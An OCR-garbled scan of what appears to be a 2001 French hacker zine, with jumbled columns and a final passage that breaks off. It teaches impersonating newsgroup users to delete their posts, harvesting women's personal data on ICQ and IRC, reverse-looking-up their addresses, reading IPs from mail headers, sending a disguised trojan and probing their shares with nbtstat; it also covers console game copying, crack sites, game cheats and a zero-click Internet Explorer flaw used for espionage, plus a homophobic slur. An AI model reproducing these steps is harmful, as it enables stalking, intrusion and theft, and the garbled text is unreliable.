phénomeéne KroSoftien, je
vous propase d'exploiter une

"faille” sur leurs NewsGroups.
G va parler o'un langage o2 prog fort utile

waals peu coqnn : le YB5earint, Mals oni, ¢ la
En fait cette faille marche sur

langage de prog Ge cartalns vivns dn genve
Hielissa en de son ramale, ilaveyen. {as virus,
cppelés “worms”, ¢ a dive "vars” (car ils s2
prapagest principalement par le convvier
élecivonigue) utilisent ce langage de piag qar,
t'une part, il est rds ais? & comprendve suis-

humain et aux mathématiques. Vous pouvez “indi-
quer” & la machine ce que chaque fonction représen-
te, ce qu'elle fait et comment elle doit le faire. Le lan-
gage assembleur se situe juste un niveau au-dessus du
langage machine, Cest la raison pour laquelle il est dit
“de bas niveau”. Comme il permet de communiquer
presque directement avec la machine, cest-a-dire que

quasiment tous les serveurs de News-
Groups mais on va se servir de
Microsoft comme exemple!.

Sachez qu'il ne s'agit que d'une présentation de
ce que les newbies peuvent faire, et que

le but n'est pas de vous inciter a le faire. Le but
est comme d'habitude, de vous informer. L'astu-
ce est simple, si simple que j'ai longtemps hési-
té avant d'écrire dessus. Mais bon, ce n'est

pas la difficulté qui fait I'efficacité.

le processus de traduction est minimal, les pro-
grammes qui en résultent sont trés petits. ¢ une gran-
de différence par rapport au C, ol une traduction
importante est nécessaire pour obtenir un code
machine 2 partir de ce langage plus proche du notre.
Bref, - il y a de traduction  faire et + le code résul-
tant est petit et rapide.

auil est proche de Uanglals of, dautve pavt, Bl
ast sougle ot ne demaniie aucun comgilateny
(& conivaric &0 T++ o S Deiphi).

Pkoi ? Parce qu'il utilise des scripts intégrés dans Win-
dows en jouant avec les API de Windows. Pour pouvoir
sen servir ca aide de posséder, sur sa machine, Microsoft
Office, érant donné des fonctions Visual Basic implan-
tées dans Office. Par exemple, pour connaitre la fonc-
tion de certaines commandes, il suffic d'ouvrir Word,
daller dans Outils'Macros/Visual Basic Editor et d'ou-
vrir Paide et de taper cette commande pour que l'aide
de Office vous renscigne.

Le but de l'astuce est de vous permettre d'effa-
cer les messages de n'importe qui sur les
NewsGroups. Pour information (inutile) sachez
que les NewsGroups s'utilisent grace a NNTP
(port courant, 119). Pour plus d'informations sur
NNTP,
http://www.networksorcery.com/enp/rfc/rfc977.1x
t. Il suffit de procéder comme suit :

- Allez sur un serveur de NewsGroups avec un
client approprié (nous avons donc fait le choix

Donc, vous l'aurez remarqusé, ici, on déclare la fonc-
tion (via la commande Dim) puis on l'initialise (via
Set, qui vient de Setup). En VBS, il faut savoir qu'on
ne peut pas déclarer une fonction en méme temps
que son initialisation. on peut les initialiser qu'une
seule 2 la fois, par contre on peut toutes les déclarer
en méme temps, en les séparant d’une virgule.

et voila ! on a quasiment fini! et oui, déja... ensuite il
nous reste plus qua personnaliser notre message:

On va pas trainer + longtps, paske sinon, on n'y arrivera
jamais. alors, on passe 2 la suite.

LA SUITE head = “HELLO” de : msnews.microsoft.com)
Déj, pour programmer en VBS, ¢ archi simple. Ouvrez exclam = 48 - Allez sur un serveur public en particulier, et de
info = 64 |a prenez un utilisateur qui a posté de nom-

le Notepad (le bloc-note pour les neuneux) et enregis-
ez un fichier vierge avec l'extension “.vbs”. ¢ tout. il
suffira de cliquer dessus pour I'exécuter. En effet win-
dows associe automatiquement les fichiers ayant cette
extension avec l'interpréteur de script wscript.exe ou
wsh.exe (Windows Scripting Host). Dans ce fichier
vierge on commence par déclarer la variable qui nous
permettra de pouvoir créer notre “objet”, le message.

breux messages (rangez les listes par noms
d'utilisateurs)

- Relevez toutes les informations disponibles
sur celui-ci. En général il n'y a que le nom,
l'adresse mail, I'organisation (pas toujours), et
éventuellement I'adresse mail de "reply". Chan-
gez

Ici, on dit au prog de marquer en haut du message
“HELLO?” et on paramétre I'icone du message : ce
peut étre un croix blanche, un point d’exclamation,
un point d'interrogation ou il peut y avoir d’autres
boutons (du genre Abandon, Aide... mais on verra la
gestion des boutons une prochaine fois). Chacune de

Onne e ces fonctionnalités correspond 3 un numéro, ici 64. vos informations dans vos préférences par
48 afficher un point d’exclamation, 16 une croix, bref | Celles que vous avez notées, comme pour
Dim Wishell, PrgName vous pouvez modifier cela A souhait... maintenant il prendre l'identité de cet utilisateur.

(screen1.jpg)

- Une fois ces informations changées, vous
devriez pouvoir effacer les messages de cet uti-
lisateur. Ca marche trés bien sur Microsoft, et
méme sur de trés nombreux serveurs autres
que

M$.

Il ne tient qu'a vous de faire bon usage de ces
données. Un message injurieux ? Il n'y a qu'a
I'effacer. Mais cette astuce se base sur le prin-
cipe que, comme toutes les bonnes choses, nu
ne doit en abuser. A bon entendeur. ‘

ne nous reste plus qu'a lui dire quoi afficher dans le
message :

Set Wshell = Wscript. CreateObject(“Wscript.Shell”)
Set PrgName = Wscript. Arguments

“Wshell” est le nom de la variable. Je I'ai appelé comme
ca paske l'objet a créer est tiré de la bibliotheque
“Wscript.Shell”, ¢ une méthode mnémotechnik pour
savoir 4 quoi sert cette fonction. En fait, vs avez intérét 2
faire pareil paske I'inconvénient du VBS est qu'on est
contraint de déclarer et de manipuler des variables 4 la
pelle, aucune fonction n'existant déja, 2 'inverse des lan-
guages plus développés et dit de “haut niveau” du style
Pascal.

Au fait, petit point-culture: Pkoi dit-on d’un language
de “haut” ou “bas” niveau” ? Qualifier un langage ainsi
dépend de son éloignement par rapport au langage

Wshell.popup “Bonjour ptite tarlouse et bienvenue
chez toi...” ,, head, exclam

Stigmata

Da Strifouz

.
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Spécial serrage

Chasser la Skarlette sur

Techniques de hack appliqué

N'oubliez jamais que les francajses (Ies francophones ! pardon pour nos nouvelles lectrices helges, canadiennes et suisses) s'emmerde

"1u'est ce qu'il est difficile de dégoter un mec potable de no jours 1"

Outils : ICQ2000b
Objeciif : un rencard par jour, si ! c'est possible

Meéthode : Le social engeneering, ou Hack sans les mains.
Tout systeme informatique a toujours un administrateur, qui gére login, pwd, etc. C'est
aussi LE maillon faible puisque de nature éminement psychologique.

Lehack psychologique, c'est convaincre un individu de donner des infos sensibles avec ou (c'est
beaucoup plus dréle) contre sa volonté.

L'objec de cet article ne visera (exceptionnellement) pas un systéme informatique, mais...
cardio-vasulaire (le coeur bande d'ignards).

H LA CIBLE

La belette, bien siir, pas la belette commune de rue, mais la belerte électronique.

ICQ ne demande pas obligatoirement d'infos personnelle sur l'utilisateur. Celui-ci décide
seul d'indiquer son sexe, son 4ge, sa ville, ses intéréts divers, etc...

Le simple fait de les déclarer dénote donc déja un minimum... d'insouciance suspecte ? de
naiveté (un peu) hypocrite ? La belette appefle cette attitude : "'envie de communiquer et
desefaire desamissur le réseau mondial” yerk yerk yerk, en francais ¢a donne "Carch me baby".
Clest en fait du pur auto-ciblage. En effet cela vous permet, par la fonction "find user” de
sélectionner en 1 secondes :

: s Search Engine
Search the ICA White Pages for other 100 users sceceding 1 bvetests, alfiiation, lacation
and more. 'You can enter yaut own detals by ciaking on he Yisw 14p Detais’ bulton brdow,

T Qanerena |1

W G Age. Gender, Languags { | el
W ﬁl_oeaim _;] R RN L TR R e
T £3Gscupation s Compary ||

7 clnterests ) i 2‘

Shiews Clrdy

T ™ Pag inamation || : T Drdne Users

I [0 pttiation / Orgarization {1 1 iew My D |
Ll T ,
Fourd 39 Uagrfal Double click on a user m ordes 1o o0 ken/frat : i
feap [ ickbama T T LT JM.«_J,_W;?
G 7229617 Mics Kapelle Iregid tagehia, . Slbotize
§ TETI9922  Sradents Lison Suhonize
Jazibotithe-sypt . BELE A birkit1 6., Audhonize
Showsrgin hsindp, , Authotize
Mimivivi Wiviane weivisis. fdsns
Lolo Lovieg fmghad, ., Always !
oo paylnte.. Akrays ]
Mrs.Magoo Jamis Lahaussing dLahlb., Suthorize -i i
feezos 2z pebanar harvey .. duthotize E
Béénice Bérémice ere, . Andhorize
Cateps Hane izt Authorize
Angel raay F3 dadewd, . Authaize
Popslina Paubne Mengas mersge.  Aithonize
Poja® Rajs Authorize
130 Caoline fushorize !
Hou helolce D. Yo, Alaays g
Lola Provost Hare tdesiohs... Alwaye
=
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Les filles

De votre 4ge (enfin ¢a c'est sclon les goiits)

De voure ville

Qui sont connectés A ce moment

Voila, Alea jacta cst, s'affiche 4 I'écran la liste précise des cibles connectées.

Maintenant une succession de conseils judicieux, testés et éprouvés, qui vous permettrons d'ar-
river 2 vos fins en un minimum de temps et d'efforts, le but étant justement de minimiser
le NTFBA (Nombre de Touches Frappées par Belette Attrapée)

B OVERCIBLEZ

1CQ vous permet donc de ne sélectionner que les belettes Online, et de les regrouper dans
une liste, n'hésitez pas 2 user du bouton droit de la souris pour checker les "user details"
de chacune, prenez soin de ne lancer d'attaques que sur celles qui vous apparaftront les
plus gourdes, c'est beaucoup plus efficace et il y en a toujours su[’?isament.

B COPIEZ COLLEZ

Préparez vous deux bases de données, I'une de sentences choisies, 'autre de gestion des
cibles.

H LE DISCOURS

I fauc étre le plus original possible, sans limite. A fuir les "Et toi tu écoutes quelle
musique” ou "T'as vu quoi au cinéma derniérement ?". Au contraire n'hésitez pas a étre
débile, cela va vous griller souvent, mais en contrepartie vous sortirez quelques fois du lot,
c'est I'essentiel, car un discours mesuré ne fonctionne par contre jamais

N'oubliez jamais que les frangaises (les francophones ! pardon pour nos nouvelles lectrices belges,

Disclalmer {

Une fois que vous aurez vaincu tous les obstacles et que vi
hliez pas que le trésor le plus précieu)( au monde estla F
viens de sauver notre, rare, lectorat féminin (hey, pssst ! 1

canadiennes et suisses) s'emmerdent ! et sont unanimes sur un point transculturel (et si paradoxal
hein J) "qu'est ce qu'il est difficile de dégoter un mec potable de nos jours !".

H LOI DES GRANDS NOMBRES

Connaissez-vous cet excellente planche de Bd de Reiser ot 1'on voit un type proposer I'hétel
2 une succession de belettes alignées sur une plage qui l'insultent toutes jusqu'a celle qui se
leve et donne ainsi des remords & toutes ses prédécésseuses ? Les francophones s'cmmerc[liem.

Donc la loi des grands nombres, ou : Au bout d'un moment ¢a vient toujours. Donc
comme pour le synflood, il faut bombarder, non pas la cible, mais les cibles pour avoir un
accts privilégié.

Capice ? I'utilisation judicieuse, du copier coller, du ctrl+tab ICQ — /Ecell/Word et des
outils de recheche de ce dernier doit vous permettre de Tchacher un maximum de belettes
en méme temps tout en donnant 2 chacune I'impression que c'est votre seule interlocutrice.

Actention pas de boulettes, trop de copier coller trop rapide ameéne grave les soupcons, et
n'oubliez pas les fautes de frappe.

Créez un Echier texte belette dans lequel vous aurez exportez vos différents historiques de
vos différents chat ou messages [CQ. Dans Word vous avez |2 une véritable banque de



v

)

(| o1 sont unanimes Sur un point transculturel (et si paradoxal hein J )

données a Hackerles ceeurs, vous pouvez vérifier la pertinence de telle ou telle vanne, les meeurs
en vogue chez les belettes au moment du hack, etc...

De plus, avec cette base, et une utilisation rapide du CTRL+F, vous donnerez toujours
I'impression a votre cible que vous étes parfaitement au courant des vos derniéres conver-
sations (rarissime sur les irc) et donc qu'elle est votre interlocutrice privilégice.

CQFD
H CONSEILS ANNEXES

Tcq possede une fonction annexe "Change User on this computer”, vous permettant de
= changer d'identit¢ ICQ pendant la méme session windows.
- Soit devenir soi-méme une fausse belette qui deviendra la copine de votre cible, genre
"Quah ! keskil est cool machin !" (machin c'est vous)
- Soit devenir le pote (trés con) de machin (c'est vous machin) genre "Ouah ! keskil est est
cool machin", ce qui par contraste vous rendra encore plus cool.

H MAJEUR WARNING

La photo. Rarissime dans les détails, faut pas déconner ! elle économise en fonction des
pays parfois beaucoup de rencards péraves genre "Non noooon je jure c'est pas moi qui
t'es branché sur ICQ gros thon !". En notant la relation inversement proportionnelle :
plus elle est jolie moins elle envoic sa photo facile (sauf'si clle est trés treés moche clle
envoie pas sa photo non plus).

Maintenant le "mon dieu quelle téte elle va avoir” c'est over sympa aussi.

H CONCLURE

Terminons cet article par quelques principes intangibles.
Tout ca c'est pour pécho le rencard, aprés démerdez-vous. Sachant qu'a I'inverse de nous,

re peau ne sera plus (u'a queligues microns de la sienne, n'ou-
minité et qu'elle doit se respecter au plus haut point (Ouf ! je
ice@umpirance.com subject “ICQ HZVS")

Four la plupart des belettes I'important c'est la Tchache pas le physique (moi aussi ca me

ait toujours rire). Etqu'onaqu'uneseule vie, l'important c'est dedécrocher le rencard, apres. ..
faut pas hésiter  se lacher.

Tommy Lee

Tu veux étre beau cet éte ?
Chope le nouveau T shirt du journal.

Et en plus, tu fais une (trop)
Bonne Hacktion

'CQHAKE?.;

L9

Trouver toutes les INFOS sur QUELOUUN. . .
ET FAIRE TOMBER LES NANAS !

r

Vu ma tete, pour avoir une chance avec les filles, fo qu’j’les branche sur irc
ou caramail. Mais la sans me vanter (2 peine) je suis trop trop surpuissant,
alors en exclu pour HZV voici mes petits secrets (mais n’en abusez po,
hein, apres zarrivrez pas a assurer, tout le monde il est pas aussi fringuant
que not redac chef préféré, hein — préféré ? ben ouais y’en a gu'un, ona
pas le choix ;)

Phase Un : fo baratiner et recup le max d’infos sur la nana, la faire patler,
ou elle vit, son age, la couleur de ses cheveux, de ses dents {(ca ¢’est pour
etre sur qu’elle me convient), son mail et son ICQ (+ intéressant ca nan ?).
Bien sur elle dira jamais son vrai nom ou son tel et ¢’est la que 99% des
prétendants se font gicler. Done, direction la phase deux. Sinon, avec le
nom de famille tu as le tel et I'adresse par I’annuaire normal, et avec le tel
tu chopes le vrai nom et ’adresse par I’annu inversé. Pas le 36 17 a 20 kF
les trentes secondes (quelle arnaque gui-la), non, le truc gratuit sur
hitp://www.lannuair.com/ qui reference aussi des adresses mails (eh oui,
connaitre une adresse mail a wanadoo donne le nom et le tel )

Et vlan, lui envoie un chti mail bien tourné, quand elle me repond je mate
les headers du mail (options “voir tous les headers”) et j’ai son IP, le nom
de son provider internet, le type d’ordi ou de windows, la version de son
logiciel de mail. La je peux déja I’épater en lui ressortant tout ca : “je
parie que tu as windows Me...” Mais mon préféré lui envoyer un trojan en
lui disant que ¢’est un programme de cybersex (mdr). La je suis le maitre
de son ordi, et je |a fais halluciner : “je sais que tu es toute retournée par
notre rencontre, la preuve ta souris marche a I’envers”. Bien sur fo d’la
tchatche, pas d’blem pour les vrais gars du sud kom moi mais les parigos
fodra se décoincer un peu.

Mon arme secréte de la mort qui tue: le partage netbios. Kekecékegcamedi-
tu ? Easy boy* (*facile, garcon - encore une loi de merde qui oblige a tra-
duire le moindre mot que tout le monde connait, passons). Tu fais “nbistat
-a |.P.de.la.nana” dans une fenetre DOS, et si t'es chanceux t’as le name
de Iordi qui apparait, et les répertoires kelle partage. Tu peux rentrer dans
sa machine en tapant \\l.P.\nom.du.partage dans le voisinage réseau mais
¢ kler y’a un password a trouver. L'astuce mortelle ¢ que ces infos top
secretes peuvent amener ta nana toute pantelante dans ton cyber plumard.
Souvent pour envoyer des fax le nom d’ordi est écrit, alors les gens le
changent pour mettre leur vrai nom. Cay es, t"as compris ? arf, avec le
nom t’as le tel, I'adresse, tu fais une recherche sur google pour avoir la
page perso de la famille, t’as tout sur elle et ses parents, hallu pour elle
guand tu lui sors petit a petit tout ce que tu devines.

C'est tout, et c’est déja ca. Faites I’amour, pas la guerre... Au moins sur le”

net c¢’est facile !
Tom, au lit.

i

\.
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TU ES BORDELIK ET TU AS PEUR DE PERDRE TES CD

Fais en des copies

Comment proceder pour graver tes CD de jeux ?

‘ Graver un CD de Playstation.

IIs ont la répuration d’étre trés bien protégés.
Enfin ! c¢tait juste une réputation

' La méthode avec NERO

Zi way, bon faut d’abord que votre console
Playstation soit équipée d’'un “MOD” chip,
c¢koi ? ben des puces qui sont souvent offerts
dans des magazines de jeux mais également
sur Internet. Ot ? Zavez qu'a chercher.

Bon faut aussi un graveur qui supporte la
méthode d’écriture “disc at once” et bien siir

| 700 MB de libre sur votre disque dur afin
de pouvoir sauvegarder le fichier image.

1. Démarrez Nero (sinon le PC refuse le CD)
2. Insérez le CD Playstation dans votre
graveur

3. Choisissez la commande de menu
“Fichier” “Copie CD”

4. Sélectionnez la feuille de propriétés
“Options de copie” et désactivez I'option
“Copie 2 la volée”. Sélectionnez votre gra-
veur en tant que lecteur source et gravez en
1 X (question de sécurité), zétes pas pressés
y en a qu'un  faire.

5. Ouvrez la feuille de propriétés Options
de lecture et activez, si votre graveur le per-
met, les options suivantes: “Lire Numéro
Catalogue et ISRC”, “Continuer Copie”,
“Données Mode 17: “Lecture données
brutes” “Write uncorrected”, “Données
Mode 27, “Ignorer erreurs de lecture” et
désactivez “Correction de pistes audio”,

6. Ouvrez la feuille de propriétés Image et
choisissez un disque dur ayant 700 MB de
disponible.

7. Sélectionnez la feuille de propriétés Gra-
ver et choisissez la vitesse 1x pour la gravu-
re (question de sécurité).

8. Cliquez sur le bouton Graver

HACHERE VOICE/ JUELLET 2001

La méthode avec DISKJUGGLER :

1. Ouvrer DiskJuggler, et insérer un CD
Playstation dans votre graveur.

2. Sélectionner : “CD copy from the same
CD recorder”

3. Dans les options, mettez I'image a 80 min.

Dans le Menu Action: Write

Method: mettez en 2X, C'est plus sfir.
Read mode: RAW (Trés important)

4: Start. Ca prend 15 min en 2X de copier
I'image

5: Insérez un CD vierge, appuyer sur OK.
6: Et 30 min apres, il est devenu un jeu
Playstation !

La méthode avec EASY CD CREATOR

Quelques cd PSX font plus de 650 mo.
C’est dtt au mode 2 CD-X (la dimension du
secteur a utilisé sur le cd). Il vous permet de
mettre plus d’information sur le cd.

1. Lancer Easy cd pro

2. Mettez un cd de PSX

3. Sur la barre choisissez “disk info & tools”
4. Sélectionnez la premiére piste et faire
“lire piste”

5. Enregistrer (ex: Track01.iso)

6. Le programme va copier la premisre
piste sur votre disque dur. Si un message
d’erreur apparait 2 la fin de la copie (99%)
faite X (fermé la fenétre)

7. Suivez la méme procédure pour chacune
des pistes sonores.

8. On met un vierge

10. On clique sur “nouveau” puis sur “cd
mixte from image”

11. A partir d’Explorateur machin, on fait
glisser les pistes audio

12. Ouvrez le fichier image

13. Mettre en mode CD-ROM XA (mode2)
14. Faite un test (si besoin défragmenter

|

le disque dur)
15. yapukagraver

Graver un CD Dreamcast (GD Rom)

Le systéme de lecture laser CD de la conso-
le est “propriétaire”, c’est 4 dire qu'on ne
peut le lire que sur la console.

Que le CD ne puissent pas étre reconnus ne
veut pas dire qu'on ne peut pas le graver.
Certains diront que les GD Rom font 1 Giga
ce qui rend la copie sur CD-R impossible.

Ahlalalala!

Déja, I'avantage par rapport i la Playsta-
tion est que la Dreamcast ne nécessite pas
de “MOD” chip ou autre puce.

Li hack ci chouette, beaucoup de loulous
se sont penchés sur ce probléme et on donc
ouvert une bréche dans le system anti pira-
tage de Sega. En en attendant d’autres,
voici le fruit de leurs réfléxions.

Le Pc narrive pas 4 lite les GD Rom ? La
Dreamcast oui ! Des petits malins, ont alors
eu une idée simple : brancher la Dreamcast
sur le Pc. Les plans du cable sont dispo-
nibles sur le net (ol ? faur chercher)

Voila avec ga le principal probléeme de pro-
tection SEGA contre la copie 4 échoug.
Reste encore la protection sur les CD et le
pb de la taille (ce dernier probléme ne
touche d"ailleurs pas tous les jeux).

Pour ces deux derniers problemes, la solution
existe déja, ce sont les traditionnels cracks.

Ah oui, faut encore faire lire le CD fraiche-
ment gravé. Et 13 aussi la solution est

simple : un Cd de boot (de boot de la conso-
le hein ! pas un boot PC évidemment).
Le groupe Utopia 4 créé un tel disque per-

mettant entre autres de lire les CD-R ainsi
que certains jeux US.

1. On boot sur le CD,

2. Une fois celui-ci chargé on I'éjecte (la
console arréte le disque automatiquement
des le bouton éjecte enclenché.

3.1l ne reste plus qu'a insérer le CD-R |

Cette méthode fonctionne bien, Cest d'ailleurs
gréce 4 elle que de nombreux jeux sont dispo-
nible en wéléchargement sur le ouaibe.

SEGA ? Cest plus fort que toi ! pfHf

Pendant qu'on y est : comment lire un
VCD sur la Dreamcast :

Ben c’est ca les autres applications du CD
d’Utopia (via l'intermédiaire de Plug ins) : la
lecture de vos vidéo CD, CDI et autre films
Mpeg. Pour cela il suffit de graver un CD
comportant le plug-in ainsi que les films 2 la
racine du CD (n’importe quel nom
dailleurs), le logiciel le lit automatiquement !

Parametres de gravure d’'un MPEG vidéo
destiné 4 étre lu par une Dreamcast (avec
Néro de préférence) :

15O 9660

SI Niveau 2

Mode 1 (CDROM)

Pas de mode XA

Joliet

(Copier le films Mpeg dans le répertoire
racine (le nom du fichier n'a toujours) pas
d'importance.

Il existe plusieurs type de protection sur les
disques, les éditeurs ne font bien entendu pas
de publicité sur les détails de ces protections et
ne donnent d'informations qu'au compte
fgoutte afin de protéger le secret de fabrication.

it
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DE JEUX DANS LE BIG DESORDRE DE TA CHAMBRE.

Graver un cd protége

Lesquelles ?

Tout d’abord il y a qui “plante” les CD-R. Pour détecter
ce type de protection un test de gravure sera suffisant.

Une protection plus drdles est celle qui vous permet de
copicr sans probléme un cd-rom mais ¢a se géte lors de
I'utilisation de celui-ci : il est inutilisable.

La solution :

Il 0’y a pas de logiciels de gravure spécifiquement desti-
nés au contournement des protections (la vie de I'éditeur
de ce logiciel serait mouvementé vu les sommes en jeux)
mais on peut dire que Na CD MAKER PRO permet de
graver quelques CD-ROM ayant une protection. Il faut
simplement faire une image ISO sur votre disque dur et
donc ensuite la graver.

Autre solution, qui est d’ailleurs souvent & combiner avec la
gravure : les cracks ou autre Warez. Ces petits programmes
de quelques Ko seulement permettent d’éliminer les pro-
tections (comme le font les anti-virus). Allez sur le site de
Astalavista ou dans les autres sites de notre Netographie
spécial Gamez vous trouverez tous les cracks de vos réves.

Pipo le malin

Disclaimer !

Heé hé, on n'oublie pas que la copie d'un jeu n'est légal que
dans un seul cas, quand on veut faire une copie d’'usage de
son CD original pour ne pas 'abimer. Pas pour le vendre
2 ses potes dans la cour de récré, Capice ?

Netogamez

www.wg-post.com
www.warezcrawler.net
physikus.org.museum
www.gamecopyworld.com
www.gamefix.com
www.gamesdomain.com/patches/
http://pages.infinit.ca
http://pages.infinit.net/frankten
www.4thprophecy.com
www.jeuxvideo.com
www.megagames.com
www.Eminhack.com

\ www.chcey.fr.st
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DA STRIFOUZE SPETZIAL GAME OVER

“voici, sous vos yeux incrédules, une sorte de
“manuel du petit cheater”.

Afin de contenter tout le monde les cheats seront claire-
ment expliqué mais aucune adresse URL comme
http://www.cshack fr.st, http://www.cshacked.net, ne
seront diffusées. Quoi? Je I'ai fait? Ha zut... Clest béte ca.

Le Camera Mode

Ce cheat est trés récent, il date de la version 1.1 (version
actuelle). Il ne nécessite AUCUN script et est donc prati-
quable par qui veut. seulement il n'est pas évident 2
controdler. Lorsque vous arrivez sur le serveur, choisissez
votre team. puis au lieu de choisir le skin, comme d’habi-
tude, faites un “map briefing” (touche i par défaut) et
appuyez sur 0 (slot10 pour quitter le “map briefing”, en
fait). Vous serez 2 ot se déplace la caméra, toujours en
skin CT' (méme si vous étes terro ou CT). Il vous faudra
acheter les armes trés vite, un bind est donc conseillé. Ce
cheat présente des avantages et des inconvénients. Le pre-
mier avantage c'est le camouflage permanent du joueur
en skin CT. Le second est I'effet de surprise créé par vos
déplacements. Par exemple sur prodigy il y a un “camera
point” juste dans la base CT, je vous laisse deviner le pro-
bléme pour ces pauvres joueurs. Le troisieme est qu'une
fois Parme achetée, vous la gardez tant que le cheat dure
(ce qui signifie tout le temps). Par exemple si vous ache-
tez un artic, vous le garderez, méme si vous vous étes fait
descendre. Seul le besoin de racheter des munitions se fait
sentir. Mais il présente donc aussi des inconvénients. Le
premier est que vous dépendez totalement du déplace-
ment de la caméra. Vous avez A peu prés 3 4 5 secondes
pour vous déplacer une fois laché. Ensuite, si la caméra
est en hauteur, vous pouvez vous blesser (train, office,
assault...) et méme tomber dans Je vide. Enfin le dernier,
et pas 'un des moindre, est que vous ne voyez pas votre
statut. Impossible de voir s'il vous reste 50 ou 100 points
de vie par exemple. Pour bien se rendre compte de 'am-
pleur du probléme, essayez le. 11 est de toutes fagons pos-
sible de retourner en mode de jeu normal en changeant
d’équipe.

Le Speed Cheat

Le Speed Cheat est en réalicé relatif 2 un programme
exécutable depuis I'extérieur. Ce programme accélere le
temps réel de vos applications (toutes sous Windows)
et donc aussi Half Life lorsque vous jouez. Par exemple
une PARA (100 balles) se vide en 3 secondes maxi-
mum. Vous vous déplacez 4 la vitesse de la lumitre et je

)

vous raconte pas les dégits au schlass ! Seul probléme, si
le serveur n'est pas patché (il lest maintenant par défaut
sur la 1.1) on se fait déconnecter au bout de deux

minutes de triche. Heureusement pour les serveurs créés

en parte locale, il n’y a pas de patch. Avis aux amateurs.
Petite précision : ce programme fait marcher toutes les
applications 4 vitesse accélérée alors si vous jouez 2
Quake 3... Ou méme sous Diablo vous courrez plus
vite, etc.

LAutoFire

Tl o 5 :
sagit d'un programme qui réagit dés qu'un ennemi

passe devant votre viseur pour tirer automatiquement.

LAIMBot

Normalement ce cheat est le cheat ultime (lancé grice &
un programme externe) du cheater. Il vise 2 votre place.
Cependant le processus semble avoir été magistralement
enrayé par les programmeurs. A suivre... Notons cepen-
dant que si le serveur est configuré “sv_cheats 1” et que
vous avez configuré votre client “visée automatique
quand le serveur le permet” vous pourrez admirer cer-
tains phénomenes particuliers, notamment aux snipers.

Les ModelCheats :

11 est toujours possible de changer ses modeles ou les
textures, Ainsi vous pouvez mettre votre carte toute
blanche afin de mieux discerner les skins, ou méme
changer la couleur des skins pour les voir 2 travers les
murs, etc. Toujours un bon plan. Les ModelCheats per-
mettent entre autres des cheats sur les grenades, etc. A
noter la commande “r_drawviewmodel 0”, essayez : c'est
pas un cheat.

L'Hostage Jump

Cette astuce est trés connue, mais les maps actuelles ne
se prérent gueéres A ce genre d’amusement. Demandez 3
un otage de vous suivre, arrangez vous pour grimper sur
sa téte et sautez sans cesse. Il montera et vous servira
d’escabeau pour aller 4 des endroits inaccessibles.

Da Strifouz

Plein d’autre cheats
de Da Strifouze dans
le prochain numéro.
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. Pofre
picsy!  Un gigantesque trou de securite dans
Une révélation Piratables et controlables a distance |

—

tle Fozzy

En moins d'une seconde
vous eles pirate. . . sans
vous etre rendu comple
e rien !

Ouveir un mail, cliguer
Sur un lien, rien de plus
innocent ?

" La prise totale
de controle de
n'importe quel
ordinateur ne
nécessite aucu-
ne intervention
de la part de
['utilisateur.
Elle s’opére
discretement
sans aucune
grreur ni aver-
tissement, et
est anonyme (la
victime ne peut
pas connaitre
I'adresse IP qui
la hacke) puis-
qu’elle se base
sur I'envoi d’un
mail ou I'acces
a un site web "

Fozzy

( E

\ J
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COMMENT FAIRE ?

Qui a dit que Micro$oft™@® se souciait de la
sécurité des données des utilisateurs de son
systeme t'exploitation ?

Personne, a part cux-mémes lors d’une récen-
te conférence. On peut applaudir cette
louable intention, mieux vaut tard que jamais. ..
Ca va embaucher sec les prochains mois

chez krosoft !

11 y a deux mois je vous décrivais un certain
nombre de bugs et de comportements discu-
tables de Windows qui font de cet OS une
véritable passoire quand une personne non aver-
tie l'utilise (pas vous, donc ;-). Mais les tech-
niquesde hacine nécessitant pas une intervention
(double-clic) dela partdelavictime étaientassez
complexes & mettre en oeuvre, ou alors
réduites A certaines versions de windows.
Ceci est maintenant du passé : un consultant
indépendantespagnol — pas Guninski, pour une
fois - a découvert un nouveau trou de sécu,
ou plutét un gouffre, qui affecte toutes les
versions du systeme d’exploitation le plus
utilisé dans le monde. La prise totale de
contréle de n'importe quel ordinateur ne néces-
site aucune intervention de la part de I'utili-
sateur, se fait discrétement sans aucune erreur
ni avertissement, et est anonyme (la victime
ne peut pas connaitre 'adresse IP qui la
hacke) puisqu’elle se base sur I'envoi d’un
mail ou I'acces & un site web. Plus précisé-
ment, seules les machines possédant Internet
Explorer 5.0, 5.1 ou 5.5 sont vulnérables.
Vous en connaissez beaucoup qui ne le sont
pas 2 Pas moi... 2 moins d’utiliser Netscape
ouOperacomme browses, et un logiciel de mail
nonvulnérable, c'est-a-dire n'utilisant pas le vie-
wer Microsoft pour afficher les mails au for-
mat HTML. Netscape Messenger n’est pas
vulnérable, par contre Eudora peut I'étre sui-
vant sa configuration, et Outlook [Express
ou pas] est bien sur totalement piratable !

Pourquoi cette faille est-elle plus dangereuse
fue les précédentes, au point que I'on peut dire
que c'est Ia plus grave qu'on ait vu depuis des
années ?

Parce quelle est instantanée et extrémement
simple a mettre en ceuvre, méme pour quel-
qu'un ne possédant aucune connaissance en
informatique, parce qu'elle touche des millions
de personnes de partle monde quelque soitleur
version de windows, et que méme sans utili-
ser IE ou Outlook la possibilité d’étre piraté
existe (suivant le logiciel de mail). Parce que
rimporte qui peutainsiavoir un accésanonyme

Im]

au réseau interne d’une grosse entreprise méme
si celle-ci est protégée par tous les firewall et tous
les IDS possibles (IDS=Intrusion Detection
System).

Windows ? C’est le paradis du pirate et de
Pespion ! Leur but est de se connecter au
réseau interne de entreprise, par exemple pour
avoir acces a des informations confiden-
tielles. Au lieu d’essayer d’exploiter les rares failles
de quelques ordinateurs ultra-protégés et
surveillés connectés a Internet (et pasforcément
reliésau résean interne) il est beaucoup plus faci-
le et moins risqué d’envoyer un courrier
électronique & une secrétaire, semblant pro-
venir d’un autre employé pour mieux passer
inapercu.

La simple lecture du mail provoquera I'exé-
cution d’un programme malveillant sur la
machine dela pauvre secrétaire, qui continuera
pendant des mois & taper les rapports confi-
dentiels que son patron lui dicte tandis que
le programme intrus s'empresserade les envoyer
automatiquement par mail al'entreprise concur-
rente. .. Ceci n'est quun exemple, le programme
en question peut aussi choisir de reformater
ledisque dur, de lire les mails, d’installer un virus
ouunebombe informatique, dedonner unacces
complet sur le disque dur au pirate (par tun-
neling http ou mail 4 travers le firewall), etc,
etc... Si la machine réellement visée est en
faitun gros serveur unix, par exemple, il est sou-
vent facile d’y pénétrer i partir du réscau
interne (droits d’acces plus ouverts, possibili-
té de sniff de mots de passe et de collecte
d’informations). 1l suffit pour tout cela que
le pirate écrive son propre cheval de Troie, ce
qui n’est pas si difpﬁcile (étudiez le trojan
